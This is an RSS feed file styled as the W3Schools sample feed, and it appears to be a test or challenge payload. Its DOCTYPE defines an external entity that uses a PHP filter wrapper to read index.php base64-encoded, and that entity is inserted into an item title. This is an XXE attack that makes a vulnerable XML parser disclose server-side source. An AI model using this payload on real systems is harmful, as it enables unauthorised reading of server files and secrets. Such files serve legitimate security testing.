<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE rss [<!ELEMENT title ANY><!ENTITY xxe SYSTEM "php://filter/read=convert-base64-encode/resource=index.php">]><rss version="2.0"><channel><title>W3Schools Home Page</title><link>https://www.w3schools.com</link><description>Free web building tutorials</description><item><title>&xxe;</title><link>https://www.w3schools.com/xml/xml_rss.asp</link><description>New RSS tutorial on W3Schools</description></item><item><title>XML Tutorial</title><link>https://www.w3schools.com/xml</link><description>New XML tutorial on W3Schools</description></item></channel></rss>